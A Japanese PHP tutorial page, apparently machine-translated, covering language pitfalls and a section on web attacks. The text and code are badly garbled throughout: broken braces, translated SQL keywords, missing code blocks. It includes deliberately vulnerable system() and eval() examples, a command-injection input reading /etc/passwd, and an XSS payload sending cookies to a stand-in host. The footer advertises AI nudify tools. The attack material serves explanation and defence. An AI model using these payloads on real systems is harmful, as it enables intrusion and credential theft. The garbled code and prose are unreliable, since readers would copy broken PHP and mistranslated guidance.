PHPプログラミングによる注意点まとめ_PHPチュートリアル
1. PHP の暗黙的な三項演算子 (?:) の優先課題:
例 1:
$person = $who または $person = "laruence"
//実際には次と同等です:
$person = empty( $who )? "laruence" : $who; 例 2
コードは次のとおりです:
実際、慎重に検討して実行した結果、次のようになります: 未定義のインデックス 2..
優先順位の問題により、コネクタは三項演算子よりも高い優先順位を持っています。
最初のステップは 'test' を判断することです。 isset($arr[$i]) この文字列は常に true です:
$a = $arr[$i]; php にプロンプトが表示されます。
2. PHP 関数名とクラス名は大文字と小文字を区別しませんが、変数名は大文字と小文字を区別します。
そのため、私が作成した PHP モジュールには大文字小文字の問題が発生し、コンパイルに失敗することがよくあります。
複雑なデータ型を文字列に圧縮
serialize() 変数とその値をテキスト形式にエンコードunserialize() 元の変数を復元
コードをコピー
コードは次のとおりです:
$stooges = array ('モー','ラリー','カーリー');
コードをコピー
コードは次のとおりです:
echo 'next';
margic_quotes_gpc と magic_quotes_runtime構成項目の設定は、unserialize() に渡されるデータに影響します。
$new_cart = unserialize(stripslashes($cart)); //magic_quotes_gpc がオンになっている場合
magic_quotes_runtime が有効な場合は、シリアル化されたデータをファイルに書き込む前に addlashes() を使用する必要があります。そして、それらを読み取る前に、stripslashes() で処理する必要があります。
$fp = fopen('/tmp/cart','w');
fputs( $fp,addslashes(serialize($a)));
//magic_quotes_runtime がオンの場合
$new_cat = unserialize(stripslashes(file_get_contents('/tmp/cart'))); /magic_quotes_runtime がオフの場合
コードをコピーします
コードは次のとおりです:
mysql_query("カート(id,data)に挿入します。values(1,'".addslashes(serialize($cart))."')");
$rs = mysql_query('id=1のカートからデータを選択します');
$ob = mysql_fetch_object($rs);
//magic_quotes_runtime がオンの場合
$new_cart = unserialize(stripslashes($ob->data))
//magic_quotes_runtime がオフの場合
$new_cart = uns Serialize ($ob ->data);
オブジェクトを逆シリアル化するとき、PHP は自動的に __wakeUp() メソッドを呼び出します。これにより、オブジェクトはシリアル化中に保存されなかったさまざまな状態を再確立できるようになります。例: データベース接続など。
4. 参考メモ
PHPにおける参照とは、同じ変数の内容に別の名前でアクセスすることを意味します(C言語におけるポインタは変数の内容とメモリに格納されたアドレス)。別のエイリアスまたは変数のマッピング。 PHP では変数名と変数の内容が異なるため、同じ内容でも異なる名前が付けられることに注意してください。最も近い類似点は、Unix のファイル名とファイル自体です。変数名はディレクトリ エントリであり、変数の内容はファイル自体です。参照は、Unix ファイル システム内の緊密なリンク、または勝利へのショートカットとして考えることができます。
1) 参照の設定を解除します。これは、変数名と変数の内容の間のバインドを解除するだけです。これは、変数の内容が破棄されるという意味ではありません
例: $b は設定解除されず、$a のみが解除されます。
unset ($a); //出力: 1 :
unset($a) を使用した結果) と $a =null は異なります。メモリのブロックに $a のマッピングが 1 つだけある場合、unset($a) は $a=null と同等になり、メモリのブロックに $a のマッピングが 2 つある場合は自動的にリサイクルされます。 $a と $b を組み合わせた場合、 unset($a) を実行すると $a=null が発生し、 $b は変更されず、 $a=null を実行すると $a=$b=null が発生します。
理由: 変数に null を代入すると、その変数に対応するメモリ ブロックの参照カウントが直接 0 に設定され、自動的にリサイクルされます。
多くの人は、Php の参照が C のポインターと同じであると誤解しています。実際には、それらは異なり、大きく異なります。配列転送プロセス中に明示的に宣言する必要のない C 言語のポインターを除き、他のポイントは * を使用して定義する必要があります。ただし、PHP のアドレスへのポインター (ポインターと同様) 関数は、はい、PHP の参照は、その名前が示すように、「参照カウント、コピーオンライト」(Copy-on-Write、COW とも略されます) の原則を採用しています。書き込み時に実際にはメモリのコピーがコピーされます。
つまり、書き込み操作が発生しない限り、次のコードのように、同じアドレスを指す変数またはオブジェクトはコピーされません。 $a = array('a','c'...'n'); $ b = $a;
ここでのみプログラムが実行される場合、$b と $b は同じですが、C のように異なるメモリ空間を占有するのではなく、同じメモリ空間を指します。これが php と の違いです。 c は、$b が $a のメモリを指すように $b=&$a と記述する必要がないことです。zend はすでに参照を実装しており、いつ実装すべきかを判断するのに非常に役立ちます。この方法で処理すべきではない場合は、これを実行してください。後で次のコードを書き続ける場合は、関数を追加し、パラメーターを参照渡しして、配列のサイズを出力します。
コードをコピーします
コードは次のとおりです:
上記のコードでは、参照によって $a 配列を printArray() 関数に渡します。zend エンジンは printArray() によって $a が変更される可能性があると判断し、この時点で $a データを自動的に生成します。 $b. メモリをコピーして、ストレージに再適用します。これが、前述した「参照カウント、コピーオンライト」の概念です。
直感的な理解: $a は独自の元のメモリ空間を使用し、$b は新しく開かれたメモリ空間を使用し、この空間は $a の元の ($a または $b が変更される前) コンテンツ空間の内容を使用します。これをコピーして、対応する変更を加えます。
上記のコードを次のように変更すると:
function printArray($arr) //値の転送
PrintArray ($ a)
上記のコードは、$ A 値を printarray() に直接渡します。このとき、参照は渡されないため、書き込み時にコピーは行われません。
5. エンコーディングの問題
プログラムコードはUTF-8コードを使用していますが、strlen関数は文字数ではなく文字列のバイト数を計算しますか? $str = "こんにちは、こんにちは";
エコー strlen($str);
6. PHP でパラメータを取得する 3 つの方法
方法 1 は $argc $argv を使用します
コードをコピーします
を実行します。
実行結果:
> -F= [2] = & gt; -g
[4] = & gt;
コードをコピーします
コードは次のとおりです:
$options = "f:g:"
$opts = getopt( $options ); ($opts) ;
/usr/local/php/bin/php ./getopt.php -f 123 -g 456 の実行結果:
Array ] => 456 )
コードをコピーします
コードは次のとおりです:
fwrite(STDOUT, "Enter your name: ");
$name = trim(fgets(STDIN)); (STDOUT, "Hello , $name!");
コマンドラインで /usr/local/php/bin/php ./getopt.php を実行します
実行結果
名前を入力してください: francis こんにちは、francis!
7. PHP 文字列は、C ポインター文字列と同様に配列として扱うことができます
$s = '12345'; $s [$s[0]] = 0;
結果は10345です
8. PHPの効率的な書き方:
9. PHPのセキュリティ上の脆弱性:
PHP Webサイトに対する攻撃手法は主に以下のとおりです。
1. コマンドインジェクション
PHP で次の 5 つの関数を使用して、外部アプリケーションまたは関数を実行できます: system、exec、passthru、shell_exec、"(shell_exec と同じ関数) 例:
$dir = $_GET["dir"];
if (isset($dir)) { echo "";
system("ls -al ".$dir"; ;
}
?>
http://www.test.com/ex1.php?dir=| cat /etc/passwd を送信すると、コマンドは system("ls -al | cat /etc/ passwd") ; 弊社サーバーのユーザー情報が盗まれた可能性があります。
2. エバルインジェクション
eval 関数は、入力文字列パラメーターを PHP プログラム コードとして実行します。Eval インジェクションは通常、攻撃者が入力文字列を制御できる場合に発生します。
コードをコピーします
$arg = $_GET["arg "];
eval("$var = $arg;");
echo "$var =".$var;
}
?>
http://www.sectop.com/ex2.php?arg=phpinfo(); を送信すると、脆弱性が発生します。 コマンドインジェクションとevalインジェクションを防ぐ方法
1) 外部コマンドを実行しないようにしてください。
2) カスタム関数または関数ライブラリを使用して外部コマンドの関数を置き換えます。サーバーによっては、これらの関数の使用を直接禁止している場合もあります。
3) コマンドパラメータを処理するには、escapeshellarg 関数を使用します。esacpeshellarg 関数は、パラメータまたはコマンドの終了を引き起こす文字をエスケープします。一重引用符「'」は「'」に置き換えられ、二重引用符は「"」に置き換えられます。 """ 、セミコロン ";" を ";" に置き換えます
3. クライアント側のスクリプト攻撃 (スクリプト挿入)
クライアントサイドスクリプト埋め込み攻撃手順1) 攻撃者は通常のユーザーとして登録した後、Web サイトにログインします。
2) メッセージページを開き、攻撃用のJSコードを挿入します
3) 他のユーザー (管理者を含む) が Web サイトにログインし、このメッセージの内容を閲覧します
4) メッセージ内容に隠されていたjsコードが実行され、攻撃が成功しました
フォームには、ブラウザが実行できるいくつかのスクリプトが入力されます:
<script>while(1){windows.open();}</script>無限ポップアップボックスを挿入します
<script>location.href="http://www.sectop.com";</script> を挿入すると、フィッシング ページにジャンプします
悪意のある HTML タグを防ぐ最善の方法は、htmlspecailchars または htmlentities を使用して特定の文字列を HTML エンティティに変換します。
悪意のある攻撃者は、Web ページに悪意のある HTML コードを挿入します。ユーザーがページを閲覧すると、Web に埋め込まれた HTML コードが実行され、悪意のあるユーザーの特別な目的が達成されます。
クロスサイト スクリプティングは、攻撃者が Web サイト ユーザーの Cookie やその他の個人データを読み取るために主に使用され、攻撃者がこのデータを取得すると、このユーザーになりすまして Web サイトにログインし、このユーザーの許可を取得することができます。
クロスサイトスクリプティング攻撃の一般的な手順:
1) 攻撃者は、コメント フォームなどの何らかの方法で xss http リンクをターゲット ユーザーに送信します。
<script>document.location= “go.somewhere.bad?cookie=+”this.cookie</script>を挿入しますまたはリンク:
http://w w w.my.site/index.php?user=
2) ターゲットユーザーはこのWebサイトにログインし、ログインプロセス中に攻撃者によって送信されたxssリンクを開きました
3) Web サイトはこの xss 攻撃スクリプトを実行しました
4) 対象ユーザーのページから攻撃者のWebサイトにジャンプし、攻撃者は対象ユーザーの情報を取得します
5) 攻撃者はターゲットユーザーの情報を使用してWebサイトにログインし、攻撃を完了します
悪意のある HTML タグを防ぐ最善の方法は、htmlspecailchars または htmlentities を使用して特定の文字列を HTML エンティティに変換することです。
5. SQLインジェクション攻撃(SQLインジェクション)
SQL インジェクションを防ぐ最も効果的な方法は、プリペアド ステートメントを使用することです。
準備されたステートメント (準備されたステートメントとも呼ばれます) はクエリの一種であり、プリコンパイルと準備のために最初にサーバーに送信され、後でクエリが実行されるときにパラメーターが保存されている場所が通知されます。
利点:
1) パラメータ値をエスケープします。したがって、mysqli::real_escape_string のようなものを呼び出したり、パラメータを引用符で囲んだりする必要はありません。
2) スクリプトで複数回実行すると、通常、クエリを毎回ネットワーク経由で送信するよりも、準備されたステートメントのパフォーマンスが向上します。クエリが再度実行されると、パラメータのみがデータベースに送信されるため、必要なスペースが少なくなります。 。1) PDO (PHP データ オブジェクト) を使用します。
コードをコピーします。
$preparedStatement->execute(array(':column' => $unsafeValue)); mysqli:
を使用します。
コードをコピーします
コードは次のとおりです:
$result = $stmt->get_result();
while ($row = $result->fetch_assoc()) {
// $row で何かをする
}
6. クロスサイトリクエストフォージェリ (CSRF)
7. セッションハイジャック
8. セッションの固定
9. HTTP レスポンスの分割
10. ファイルアップロード攻撃
11. ディレクトリトラバーサル
12. リモートファイルインクルージョン攻撃(Remote Inclusion)
13. 動的関数注入攻撃(動的変数評価)
14. URL攻撃
15. なりすましフォームの送信
16. スプーフィングされた HTTP リクエスト
いくつかの重要な php.ini オプション: register_globals、magic_quotes、safe_mode。 これらのオプションは PHP5.4 で非推奨になります。
register_globals:
php>=4.2.0、register_globals
の場合、php.ini の register_globals オプションのデフォルト値はオフです。が On に設定されている場合、プログラムはフォームによって送信された変数を含むさまざまな環境変数をサーバーから受け取ることができます。また、PHP は変数の値を事前に初期化する必要がないため、大きなセキュリティ リスクにつながります。
register_globals が無効になっていることを確認してください。 register_globals が有効な場合、$variable を使用して GET または POST 文字列を同じ名前に置き換えるなどの不注意な行為が可能になります。この設定を無効にすると、PHP は正しい名前空間の正しい変数を参照するように強制します。フォーム POST から変数を使用するには、$_POST['variable'] を引用符で囲む必要があります。こうすることで、この特定の変数を Cookie、セッション、または GET 変数と間違えることがなくなります。
セーフモード:
セーフ モードでは、PHP はドキュメントへのアクセスを制限し、環境変数へのアクセスを制限し、外部プログラムの実行を制御するために使用されます。セーフモードを有効にするには、php.iniでsafe_mode=Onを設定する必要があります
magic_quotes
PHP プログラムの入力情報を自動的にエスケープするために使用されます。すべての一重引用符 ("'")、二重引用符 (""")、バックスラッシュ ("")、およびヌル文字 (NULL) が自動的に追加されます。バックスラッシュはエスケープされます。 =On は、Magicquotes を On に設定するために使用されます。これは、HTTP リクエスト データ (GET、POST、Cookie) に影響します。プログラマは、addslashes を使用して送信された HTTP リクエスト データをエスケープしたり、stripslashes を使用してデータを削除したりすることもできます。
10. 複数のcurlリクエストの同時使用
。
file_get_contents('http://a.php');//1 秒file_get_contents('http://b.php');//2秒
file_get_contents('http://c.php');//2秒
ここでは 5 秒かかりますが、curl の muti メソッドを操作することで、わずか 2 秒でリクエストを完了できます。次のとおりです。$ curl_multi_init();リクエストキューへの残りの接続:
参考: ブロックせずにcurl_multi()を使用する方法
$connomains = array(
自分で取得してください
"http://localhost/2.php?id=1",//sleep(1) 秒
"http://localhost/2. php?id=2",//sleep(2) 秒
"http://localhost/2.php?id=5",//sleep(5) 秒
);
$mh =curl_multi_init();
foreach ($connomains as $i => $url) {
$conn[$i] =curl_init($url);//各サブ接続を初期化します
curl_setopt($conn[$i] , CURLOPT_RETURNTRANSFER, 1 ); //ブラウザに直接出力しません
curl_multi_add_handle ($mh,$conn[$i]);//マルチ処理ハンドルを追加します
}
$active = 0;//接続数
do { {Do { /// ここで $ Active は現在の未処理の番号に書き換えられます
// 処理が成功した $ Active はすべて 0 になります
= Curl_multi_exec ($ mh, $ active
); // このサイクルこのサイクルの目的は、読み取りと書き込みができなくなるまで、できるだけ読み取りと書き込みを行うことです (CURLM_OK を返す) //(CURLM_CALL_MULTI_PERFORM) を返すということは、ネットワークへの読み取りと書き込みを続行できることを意味します
}while($mrc ==CURLM_CALL_MULTI_PERFORM);
// すべてが正常であれば、一定時間ごとにポーリングと再リクエストを行う必要があります (デフォルトは 1 秒)
// これは、待機プロセス中のcurl_multi_select の役割です。現在読み取りおよび書き込みできるハンドルが存在する場合はそのハンドルを返します。したがって、
//読み取りおよび書き込み操作を続行します。0 は読み取りおよび書き込みができる (完了した) ハンドルがないことを意味します
} while ($mrc ==CURLM_OK&& $active &&curl_multi_select($mh)!=-1);//エラーが発生するまで、またはすべての読み取りと書き込みが完了するまで
if ($mrc != CURLM_OK) {
print "Curl マルチ読み取りエラー $mrc/n ";
}
// データを取得します
foreach ($connomains as $i => $url) {
if (($err =curl_error($conn[$i])) == '') { {エラーハンドル $i: $err/n";
}
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
curl_multi_close($mh);
print_r($res );
?>
トラブルを避けるために次のように書く人もいます:
do {curl_multi_exec($mh,$active) } while ($active);
結果が得られるように見えますが、実際には、すべてのリンクが処理されるまでこのループが呼び出され続けるため、厳密ではなく、CPU を浪費します。効果を確認するには、ループに print 'a' を追加します。
11. オブジェクト属性が空かどうかを判断するために空のマジックメソッド __get を使用しても機能しません
マジック メソッド __get を使用する場合、クラスの存在しない/非パブリック変数に対して empty() を呼び出した場合の結果は少し混乱することに注意してください (gmx dot de で nahpeps によって前述されているように)。次の例を考えてみましょう。 コードをコピーします
コードは次のとおりです:
class Registry
{
protected $_items = array();
public function __set($key, $value)
{
$this->_items[$key] = $value;
}
パブリック関数__get($ key)
}
}}}
$registry = 新しいレジストリ();
$registry->empty = '';
$registry->notEmpty = '空ではありません';
var_dump(empty($registry->notExisting)); // true、これまでのところ良好ですvar_dump(empty($registry->empty)) // true、これまでのところ良好です
var_dump($ registry->notEmpty)); // true、.. 何か?
$tmp = $registry->notEmpty;
var_dump(empty($tmp)) // 予想通り false
; 12. Linux でコマンドラインから実行される php ファイルの形式は unix である必要があります。
php ./test.php
test.phpがwindosからアップロードされた場合、その形式はdosである可能性があります。
その後、このコマンドを実行すると、エラー メッセージが表示されます: 入力ファイルを開けませんでした
ファイル形式=dos
dos 形式の場合は、set ff=unix を使用して新しい形式を設定する必要があります
fileformat=unix
www.bkjia.com

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック

PHP 8.4 では、いくつかの新機能、セキュリティの改善、パフォーマンスの改善が行われ、かなりの量の機能の非推奨と削除が行われています。 このガイドでは、Ubuntu、Debian、またはその派生版に PHP 8.4 をインストールする方法、または PHP 8.4 にアップグレードする方法について説明します。

Visual Studio Code (VS Code とも呼ばれる) は、すべての主要なオペレーティング システムで利用できる無料のソース コード エディター (統合開発環境 (IDE)) です。 多くのプログラミング言語の拡張機能の大規模なコレクションを備えた VS Code は、

このチュートリアルでは、PHPを使用してXMLドキュメントを効率的に処理する方法を示しています。 XML(拡張可能なマークアップ言語)は、人間の読みやすさとマシン解析の両方に合わせて設計された多用途のテキストベースのマークアップ言語です。一般的にデータストレージに使用されます

文字列は、文字、数字、シンボルを含む一連の文字です。このチュートリアルでは、さまざまな方法を使用してPHPの特定の文字列内の母音の数を計算する方法を学びます。英語の母音は、a、e、i、o、u、そしてそれらは大文字または小文字である可能性があります。 母音とは何ですか? 母音は、特定の発音を表すアルファベットのある文字です。大文字と小文字など、英語には5つの母音があります。 a、e、i、o、u 例1 入力:string = "tutorialspoint" 出力:6 説明する 文字列「TutorialSpoint」の母音は、u、o、i、a、o、iです。合計で6元があります

Python は、学習の容易さと強力な機能により、初心者にとって理想的なプログラミング入門言語です。その基本は次のとおりです。 変数: データ (数値、文字列、リストなど) を保存するために使用されます。データ型: 変数内のデータの型 (整数、浮動小数点など) を定義します。演算子: 数学的な演算と比較に使用されます。制御フロー: コード実行のフロー (条件文、ループ) を制御します。

Python は、問題解決の初心者に力を与えます。ユーザーフレンドリーな構文、広範なライブラリ、変数、条件文、ループによる効率的なコード開発などの機能を備えています。データの管理からプログラム フローの制御、反復的なタスクの実行まで、Python が提供します

あなたが経験豊富な PHP 開発者であれば、すでにそこにいて、すでにそれを行っていると感じているかもしれません。あなたは、運用を達成するために、かなりの数のアプリケーションを開発し、数百万行のコードをデバッグし、大量のスクリプトを微調整してきました。

C は、初心者がシステム プログラミングを学習するのに最適な選択肢です。ヘッダー ファイル、関数、メイン関数のコンポーネントが含まれています。 「HelloWorld」を印刷できる単純な C プログラムには、標準入出力関数宣言を含むヘッダー ファイルが必要で、main 関数で printf 関数を使用して印刷します。 C プログラムは、GCC コンパイラーを使用してコンパイルして実行できます。基本をマスターしたら、データ型、関数、配列、ファイル処理などのトピックに進み、熟練した C プログラマーになることができます。
